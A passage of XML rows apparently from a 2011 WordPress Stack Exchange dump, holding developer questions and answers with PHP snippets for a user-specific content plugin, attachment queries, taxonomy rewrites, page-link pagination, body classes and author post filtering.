';&#xA;        $usercount = $usercount + 1;&#xA;        if ($usercount &amp;gt; 5){&#xA;            echo '&amp;lt;br/&amp;gt;';&#xA;            $usercount = 0;&#xA;        }&#xA;    }&#xA;    echo '&amp;lt;h4&amp;gt;'.__('Content Blocked message:').'&amp;lt;/h4&amp;gt;';&#xA;    echo '&amp;lt;textarea rows=&quot;3&quot; cols=&quot;70&quot; name=&quot;U_S_C_message&quot; id=&quot;U_S_C_message&quot;&amp;gt;'.get_post_meta($post-&amp;gt;ID, 'U_S_C_message',true).'&amp;lt;/textarea&amp;gt;&amp;lt;br/&amp;gt;'.__('This message will be shown to anyone who is not on the list above.');&#xA;}&#xA;&#xA;&#xA;/* Save Meta Box */&#xA;add_action('save_post', 'User_specific_content_box_inner_save');&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function User_specific_content_box_inner_save( $post_id ) {&#xA;    global $post;&#xA;      // verify this came from the our screen and with proper authorization,&#xA;      // because save_post can be triggered at other times&#xA;&#xA;      if ( !wp_verify_nonce( $_POST['User_specific_content_box_inner'], plugin_basename(__FILE__) ) )&#xA;          return $post_id;&#xA;&#xA;      // verify if this is an auto save routine. &#xA;      // If it is our form has not been submitted, so we dont want to do anything&#xA;      if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;          return $post_id;&#xA;      // OK, we're authenticated: we need to find and save the data&#xA;    $savedroles = get_post_meta($post_id, 'U_S_C_roles',true);&#xA;    $savedusers = get_post_meta($post_id, 'U_S_C_users',true);&#xA;    if (isset($_POST['U_S_C_roles']) &amp;amp;&amp;amp; !empty($_POST['U_S_C_roles'] )){&#xA;        foreach ($_POST['U_S_C_roles'] as $role){&#xA;            $new_roles[] = $role;&#xA;        }&#xA;        update_post_meta($post_id, 'U_S_C_roles', $new_roles);&#xA;    }else{&#xA;        if (count($savedroles) &amp;gt; 0){&#xA;             delete_post_meta($post_id, 'U_S_C_roles');&#xA;        }&#xA;    }&#xA;    if (isset($_POST['U_S_C_users']) &amp;amp;&amp;amp; !empty($_POST['U_S_C_users'])){&#xA;        foreach ($_POST['U_S_C_users'] as $u){&#xA;            $new_users[] = $u;&#xA;        }&#xA;        update_post_meta($post_id, 'U_S_C_users', $new_users);&#xA;    }else{&#xA;        if (count($savedusers) &amp;gt; 0){&#xA;             delete_post_meta($post_id, 'U_S_C_users');&#xA;        }&#xA;    }&#xA;    if (isset($_POST['U_S_C_message'])){&#xA;        update_post_meta($post_id,'U_S_C_message', $_POST['U_S_C_message']);&#xA;    }&#xA;}&#xA;&#xA;add_filter('the_content','User_specific_content_filter');&#xA;function User_specific_content_filter($content){&#xA;    global $post,$current_user;&#xA;&#xA;    $savedroles = get_post_meta($post-&amp;gt;ID, 'U_S_C_roles',true);&#xA;    $run_check = 0;&#xA;    $savedusers = get_post_meta($post-&amp;gt;ID, 'U_S_C_users',true);&#xA;    if (!count($savedusers) &amp;gt; 0 &amp;amp;&amp;amp; !count($savedroles) &amp;gt; 0 )&#xA;        return $content;&#xA;&#xA;    if (isset($savedroles) &amp;amp;&amp;amp; !empty($savedroles)){&#xA;        foreach ($savedroles as $role){&#xA;            if (current_user_can($role)) {&#xA;                return $content;&#xA;                exit;&#xA;            }&#xA;        }&#xA;        //failed role check&#xA;        $run_check = 1;&#xA;    }&#xA;    if (isset($savedusers) &amp;amp;&amp;amp; !empty($savedusers)){&#xA;        get_currentuserinfo();&#xA;        if (in_array($current_user-&amp;gt;ID,$savedusers)){&#xA;            return $content;&#xA;        }&#xA;            //failed both checks&#xA;        return get_post_meta($post-&amp;gt;ID, 'U_S_C_message',true);&#xA;    }&#xA;    return $content;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-13T01:02:42.270" LastActivityDate="2011-04-13T01:02:42.270" />
  <row Id="14456" PostTypeId="1" CreationDate="2011-04-11T02:28:00.960" Score="0" ViewCount="37" Body="&lt;p&gt;Is there any &lt;a href=&quot;http://www.1234.info/webtemplates/multiflex1/demo/&quot; rel=&quot;nofollow&quot;&gt;Multiflex-1.2&lt;/a&gt; theme for WordPress?&lt;/p&gt;&#xA;" OwnerUserId="1741" LastActivityDate="2011-05-11T07:45:09.037" Title="Is there any Multiflex-1.2 theme for WordPress?" Tags="&lt;themes&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14457" PostTypeId="1" CreationDate="2011-04-11T02:33:03.073" Score="0" ViewCount="242" Body="&lt;p&gt;In a custom buddypress plugin that im developing I need to get all the attachments uploaded for the current user profile. If I put post in post_type it works, but if I put attachment doesnt work, here is my actual code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header() ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;padder&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php do_action( 'bp_before_chaines_content' ) ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;item-header&quot;&amp;gt;&#xA;                &amp;lt;?php locate_template( array( 'members/single/member-header.php' ), true ) ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;item-nav&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;item-list-tabs no-ajax&quot; id=&quot;object-nav&quot;&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;?php bp_get_displayed_user_nav() ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;item-body&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                global $more;&#xA;                $more = 0; // set $more to 0 in order to only get the first part of the post&#xA;&#xA;                $args = array(&#xA;                  'author'      =&amp;gt; bp_displayed_user_id(),&#xA;                  'post_parent' =&amp;gt; 0,&#xA;                  'post_type'   =&amp;gt; 'attachment',&#xA;                  'paged'       =&amp;gt; bp_pop_cur_page()&#xA;                );&#xA;&#xA;                query_posts($args);&#xA;&#xA;                if (have_posts()) {&#xA;                    while (have_posts()) : the_post(); ?&amp;gt;&#xA;                        &amp;lt;?php do_action( 'bp_before_blog_post' ) ?&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;author-box&quot;&amp;gt;&#xA;                                &amp;lt;?php echo get_avatar( get_the_author_meta( 'user_email' ), '50' ); ?&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;?php printf( __( 'by %s', 'buddypress' ), bp_core_get_userlink( $post-&amp;gt;post_author ) ) ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;                                &amp;lt;h2 class=&quot;posttitle&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php _e( 'Permanent Link to', 'buddypress' ) ?&amp;gt; &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                                &amp;lt;p class=&quot;date&quot;&amp;gt;&amp;lt;?php the_time('F j, Y') ?&amp;gt; &amp;lt;em&amp;gt;&amp;lt;?php _e( 'in', 'buddypress' ) ?&amp;gt; &amp;lt;?php the_category(', ') ?&amp;gt; &amp;lt;?php printf( __( 'by %s', 'buddypress' ), bp_core_get_userlink( $post-&amp;gt;post_author ) ) ?&amp;gt;&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                                    &amp;lt;?php the_content( __( 'Read the rest of this entry &amp;amp;rarr;', 'buddypress' ) ); ?&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;span class=&quot;tags&quot;&amp;gt;&amp;lt;?php the_tags( __( 'Tags: ', 'buddypress' ), ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;comments&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'No Comments &amp;amp;#187;', 'buddypress' ), __( '1 Comment &amp;amp;#187;', 'buddypress' ), __( '% Comments &amp;amp;#187;', 'buddypress' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;?php do_action( 'bp_after_blog_post' ) ?&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    endwhile;&#xA;                    if (function_exists('wp_pagenavi')) wp_pagenavi();&#xA;                } else {&#xA;                    echo '&amp;lt;div class=&quot;info&quot; id=&quot;message&quot;&amp;gt;&amp;lt;p&amp;gt;';&#xA;                    _e('There is no posts.', 'bp-chaines');&#xA;                    echo '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;                }&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;?php do_action( 'bp_after_chaines_body' ) ?&amp;gt;                &#xA;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #item-body --&amp;gt;&#xA;&#xA;            &amp;lt;?php do_action( 'bp_after_chaines_content' ) ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .padder --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;    &amp;lt;?php locate_template( array( 'sidebar.php' ), true ) ?&amp;gt;&#xA;&amp;lt;?php get_footer() ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the users has a lot of media uploaded files with that column values in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-11T03:23:00.417" LastActivityDate="2011-04-11T03:23:00.417" Title="Why doesn't post_type 'attachment' work in query_posts()?" Tags="&lt;query-posts&gt;&lt;attachments&gt;" CommentCount="3" />
  <row Id="14458" PostTypeId="2" ParentId="14451" CreationDate="2011-04-11T03:09:10.627" Score="5" ViewCount="" Body="&lt;p&gt;These types of URLs are supported since WP 3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'types', 'post', array(&#xA;  'hierarchical' =&amp;gt; true,&#xA;  'rewrite' =&amp;gt; array( 'hierarchical' =&amp;gt; true ),&#xA;  ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to flush the rewrite rules after making the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template you would use for both parent and child terms is taxonomy-types.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_term = get_queried_object();&#xA;&#xA;if ( 0 == $current_term-&amp;gt;parent ) {&#xA;  // it's a parent term; display it's child terms using wp_list_categories() etc.&#xA;} else {&#xA;  // it's a child term; display the posts using The Loop etc.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-11T03:20:16.527" LastActivityDate="2011-04-11T03:20:16.527" CommentCount="1" />
  <row Id="14459" PostTypeId="2" ParentId="4453" CreationDate="2011-04-11T03:35:00.603" Score="0" ViewCount="" Body="&lt;p&gt;I'm having the same issue with one of my customers I'm consulting with. We've done 100's of WordPress installs on our own or other dedicated machines with no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some hosting companies have issues with WordPress plugins due to the path structure in some hosting environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can FTP into root directory, delete Yahoo's preloaded sitemap.xml file and load a custom generated file, but it will always display the original Yahoo file. This tells me it's pulling the file from another location possibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be contacting Yahoo this week to see if they have any insight. On my last call with them, they say they do not provide any support for WordPress plugins which is odd since they preload a bunch of customized Yahoo plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yahoo also does some other odd things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You can only use permalinks structure that Yahoo allows, you cannot modify.&#xA;2) Yahoo provide SEO plugin, but you have no access to it. We have not worked with enough Yahoo installs, but I'm guessing you can uninstall a Yahoo preloaded pluging and manually install the plugin yourself.&lt;/p&gt;&#xA;" OwnerUserId="4581" LastActivityDate="2011-04-11T03:35:00.603" CommentCount="1" />
  <row Id="14460" PostTypeId="2" ParentId="14406" CreationDate="2011-04-11T04:08:24.423" Score="1" ViewCount="" Body="&lt;p&gt;Unfortunately, there is no way to do this just with native functions: WP is … request agnostic and produces always links to the current page (nav manus, list pages …).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you cannot use a filter, because &lt;code&gt;wp_link_pages()&lt;/code&gt; has no appropriate filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my themes, I use an own function, based on &lt;a href=&quot;http://playground.ebiene.de/2554/wordpress-pagebar-pluginlos/&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;. It is probably too long to post it here, so I put it as a plugin on GitHub: &lt;a href=&quot;https://github.com/toscho/Logical-Page-Links&quot; rel=&quot;nofollow&quot;&gt;Logical Page Links&lt;/a&gt;.&lt;br&gt;&#xA;You may use the plugin as is or copy the code into your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting markup will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;pager&quot;&amp;gt; &#xA;  &amp;lt;b title='You are here.'&amp;gt;1&amp;lt;/b&amp;gt;  &#xA;  &amp;lt;a class=number href='http://example.com/page/2/'&amp;gt;2&amp;lt;/a&amp;gt; &#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; marks the current page, you can style it via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.pager b&#xA;{&#xA;    color:      #fff;&#xA;    background: #111;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More features are listed in the readme of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I misunderstood the question. I thought you needed such a function for archives. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rewritten version of &lt;code&gt;wp_link_pages()&lt;/code&gt; as a plugin. I guess you’ll put it into your theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;/*&#xA;Plugin Name: Numbered In-Page Links&#xA;Description: Replacement for wp_link_pages with numbers. Use do_action( 'numbered_in_page_links' );&#xA;Version:     1.0&#xA;Required:    3.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL v2&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;&#xA;add_action( 'numbered_in_page_links', 'numbered_in_page_links', 10, 1 );&#xA;&#xA;/**&#xA; * Modification of wp_link_pages() with an extra element to highlight the current page.&#xA; *&#xA; * @param  array $args&#xA; * @return void&#xA; */&#xA;function numbered_in_page_links( $args = array () )&#xA;{&#xA;    $defaults = array(&#xA;        'before'      =&amp;gt; '&amp;lt;p&amp;gt;' . __('Pages:')&#xA;    ,   'after'       =&amp;gt; '&amp;lt;/p&amp;gt;'&#xA;    ,   'link_before' =&amp;gt; ''&#xA;    ,   'link_after'  =&amp;gt; ''&#xA;    ,   'pagelink'    =&amp;gt; '%'&#xA;    ,   'echo'        =&amp;gt; 1&#xA;        // element for the current page&#xA;    ,   'highlight'   =&amp;gt; 'b'&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    $r = apply_filters( 'wp_link_pages_args', $r );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    global $page, $numpages, $multipage, $more, $pagenow;&#xA;&#xA;    if ( ! $multipage )&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    $output = $before;&#xA;&#xA;    for ( $i = 1; $i &amp;lt; ( $numpages + 1 ); $i++ )&#xA;    {&#xA;        $j       = str_replace( '%', $i, $pagelink );&#xA;        $output .= ' ';&#xA;&#xA;        if ( $i != $page || ( ! $more &amp;amp;&amp;amp; 1 == $page ) )&#xA;        {&#xA;            $output .= _wp_link_page( $i ) . &quot;{$link_before}{$j}{$link_after}&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        else&#xA;        {   // highlight the current page&#xA;            // not sure if we need $link_before and $link_after&#xA;            $output .= &quot;&amp;lt;$highlight&amp;gt;{$link_before}{$j}{$link_after}&amp;lt;/$highlight&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;&#xA;    print $output . $after;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-13T17:23:51.560" LastActivityDate="2011-04-13T17:23:51.560" CommentCount="5" />
  <row Id="14462" PostTypeId="2" ParentId="14446" CreationDate="2011-04-11T05:37:26.187" Score="2" ViewCount="" Body="&lt;p&gt;My favorite plugin for that is &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; which has very nice module for display of what is going in the cron - which events are set up, when are they next firing, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On getting your hands dirty level see &lt;code&gt;_get_cron_array()&lt;/code&gt;, which returns internal stored data for cron events (top level of keys are timestamps).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-11T05:37:26.187" CommentCount="3" />
  <row Id="14463" PostTypeId="1" CreationDate="2011-04-11T06:50:52.040" Score="0" ViewCount="54" Body="&lt;p&gt;Is there a good reason why &lt;code&gt;wp_widgets_init&lt;/code&gt; has a very high priority in the &lt;code&gt;init&lt;/code&gt; hook? I lowered the priority to 14 via my plugin and it's working fine (eg. all default and custom widgets are loaded), but I'm not really sure if it will cause troubles later...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reason for lowering the priority is that my plugin depends on some options that are registered/fetched by another plugin's function hooked into &lt;code&gt;init&lt;/code&gt; with priority 13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I made myself clear, and thanks for any help in advance.&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-04-11T06:50:52.040" Title="wp_widgets_init hook priority" Tags="&lt;plugins&gt;&lt;widgets&gt;" CommentCount="4" />
  <row Id="14464" PostTypeId="2" ParentId="14456" CreationDate="2011-04-11T07:45:01.947" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure if Multiflex 1 has a WordPress theme, but Multiflex4 and 5 both are available as WordPress themes at &lt;a href=&quot;http://www.themelab.com/2008/04/09/wp-multiflex-5-free-wordpress-theme-44/&quot; rel=&quot;nofollow&quot;&gt;http://www.themelab.com/2008/04/09/wp-multiflex-5-free-wordpress-theme-44/&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/themes/multiflex-4&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/multiflex-4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-11T07:45:01.947" />
  <row Id="14465" PostTypeId="1" CreationDate="2011-04-11T07:58:21.843" Score="-1" ViewCount="94" Body="&lt;p&gt;I am a beginner at WordPress. I know html, asp, a little PHP and I'm familiar with WordPress. I want to be an WordPress expert. So far I know WordPress involves designing themes, making plugins and customized websites. Please let me know of any other things I need to do.&#xA;Please provide links of some excellent tutorials( free to access, not want to buy) ..to get started with WordPress from beginner to expert.&lt;/p&gt;&#xA;" OwnerUserId="4570" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-12T06:15:55.830" LastActivityDate="2011-04-12T06:15:55.830" Title="Developing Themes on WordPress, Looking for Excellent Tutorials" Tags="&lt;plugin-development&gt;&lt;themes&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="14466" PostTypeId="2" ParentId="14430" CreationDate="2011-04-11T08:14:14.630" Score="3" ViewCount="" Body="&lt;p&gt;My answer adds a class to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element via the &lt;code&gt;body_class&lt;/code&gt; filter. This is probably the easiest way to apply extra formatting to any element on the page. The added classes are &lt;code&gt;wpse14430_products&lt;/code&gt;, &lt;code&gt;wpse14430_services&lt;/code&gt; or &lt;code&gt;wpse14430_contact&lt;/code&gt; (based on the slugs of the top pages in your example).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using &lt;code&gt;wp_nav_menu()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;code&gt;wp_nav_menu()&lt;/code&gt; to display the menu, WordPress builds a tree of the menu items. We can use this information to get the top page of the current item. Only problem: we need it in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag, thus before the menu is rendered. The solution is to save the menu in an variable which we later echo ourselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the Twenty Ten theme as an example, I move the &lt;code&gt;wp_nav_menu()&lt;/code&gt; call up to the first &lt;code&gt;&amp;lt;?php&lt;/code&gt; block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpse14430_menu = wp_nav_menu( array(&#xA;    'container_class' =&amp;gt; 'menu-header',&#xA;    'theme_location' =&amp;gt; 'primary',&#xA;    'echo' =&amp;gt; false,&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And where we used to call it, we now echo our saved output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $wpse14430_menu;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt; has an interesting filter, called &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/nav-menu-template.php#L192&quot; rel=&quot;nofollow&quot;&gt;after the menu items are ordered and have their classes&lt;/a&gt;. The classes already contain ancestor information. We hook into this filter and find the first item that is the current item or an ancestor of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu_objects', 'wpse14430_wp_nav_menu_objects' );&#xA;function wpse14430_wp_nav_menu_objects( $sorted_menu_items )&#xA;{&#xA;    // The items are in menu order, so the first match is the top item&#xA;    foreach ( $sorted_menu_items as $menu_item ) {&#xA;        if ( $menu_item-&amp;gt;current || $menu_item-&amp;gt;current_item_ancestor ) {&#xA;            $GLOBALS['wpse14430_top_page'] = get_post( $menu_item-&amp;gt;object_id );&#xA;            break;&#xA;        }&#xA;    }&#xA;    return $sorted_menu_items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we got the top page, and only need to add this to the body class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'body_class', 'wpse14430_body_class_menu' );&#xA;function wpse14430_body_class_menu( $body_class )&#xA;{&#xA;    if ( isset( $GLOBALS['wpse14430_top_page'] ) ) {&#xA;        $body_class[] = 'wpse14430_' . $GLOBALS['wpse14430_top_page']-&amp;gt;post_name;&#xA;    }&#xA;    return $body_class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Using pages as the menu structure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you don't use &lt;code&gt;wp_nav_menu()&lt;/code&gt; but instead use the direct ordering of the pages, you can also check for ancestors. Remember that if don't define a menu using the new menu system but still display the page list via &lt;code&gt;wp_nav_menu()&lt;/code&gt; (the fallback functionality), the above system will work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'body_class', 'wpse14430_body_class_pages' );&#xA;function wpse14430_body_class_pages( $body_class )&#xA;{&#xA;    if ( is_page() ) {&#xA;        $null = null;&#xA;        $top_page = get_post( $null );&#xA;        $ancestors = get_post_ancestors( $top_page );&#xA;        if ( $ancestors ) {&#xA;            $top_page = get_post( array_pop( $ancestors ) );&#xA;        }&#xA;        $body_class[] = 'wpse14430_' . $top_page-&amp;gt;post_name;&#xA;    }&#xA;    return $body_class;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-11T14:24:37.343" LastActivityDate="2011-04-11T14:24:37.343" CommentCount="1" />
  <row Id="14467" PostTypeId="2" ParentId="14465" CreationDate="2011-04-11T08:19:39.407" Score="0" ViewCount="" Body="&lt;p&gt;The best place to learn wordpress is for me the site &amp;amp; the book from &lt;a href=&quot;http://digwp.com/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn how to build your own themes you might want to look at &lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitepoint.com/books/wordpress1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3497" LastActivityDate="2011-04-11T08:19:39.407" />
  <row Id="14469" PostTypeId="1" AcceptedAnswerId="14479" CreationDate="2011-04-11T09:40:37.707" Score="0" ViewCount="249" Body="&lt;p&gt;Basically if you see the picture below there are 5 tab items in my groups page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/S7L7w.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to be able to remove some of them. I want to be able to remove &quot;Members&quot; and &quot;Send Invites&quot; (for instance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on the frontend groups page. When you select a group and go to view it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to edit core files really, is there any other way to do this? Maybe a remove_action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-11T13:02:59.670" Title="Remove tabs from buddypress groups and members pages" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="14470" PostTypeId="1" CreationDate="2011-04-11T10:25:17.767" Score="0" ViewCount="67" Body="&lt;p&gt;I need to set the length of my rss feed entries to be consistent like this &lt;a href=&quot;http://filmdancer.com/feed/rss&quot; rel=&quot;nofollow&quot;&gt;http://filmdancer.com/feed/rss&lt;/a&gt;.  I am guessing this will set the length of the excerpt that is fed to facebook and twitter.  I thought editing the below in the functions.php file would do the job, but that`s not it for my blog.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sets the post excerpt length to 40 characters.&#xA;function modernist_excerpt_length( $length ) {&#xA;    return 20;&#xA;}&#xA;add_filter( 'excerpt_length', 'modernist_excerpt_length' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4585" LastActivityDate="2011-04-11T10:25:17.767" Title="how to shorten length of rss feed entries of multicharacter/unicode (Japanese)?" Tags="&lt;rss&gt;&lt;multi-language&gt;" CommentCount="1" />
  <row Id="14471" PostTypeId="2" ParentId="14230" CreationDate="2011-04-11T10:26:10.853" Score="4" ViewCount="" Body="&lt;p&gt;If you want to prevent a user with the &quot;Author&quot; role to view other users' posts in the overview screen (they won't be able to view the details anyway), you can add an extra filter on the author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'load-edit.php', 'wpse14230_load_edit' );&#xA;function wpse14230_load_edit()&#xA;{&#xA;    add_action( 'request', 'wpse14230_request' );&#xA;}&#xA;&#xA;function wpse14230_request( $query_vars )&#xA;{&#xA;    if ( ! current_user_can( $GLOBALS['post_type_object']-&amp;gt;cap-&amp;gt;edit_others_posts ) ) {&#xA;        $query_vars['author'] = get_current_user_id();&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The little links above the post table (&quot;Mine&quot;, &quot;All&quot;, &quot;Drafts&quot;) are less useful now, you can also remove them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'views_edit-post', 'wpse14230_views_edit_post' );&#xA;function wpse14230_views_edit_post( $views )&#xA;{&#xA;    return array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-11T10:26:10.853" CommentCount="1" />
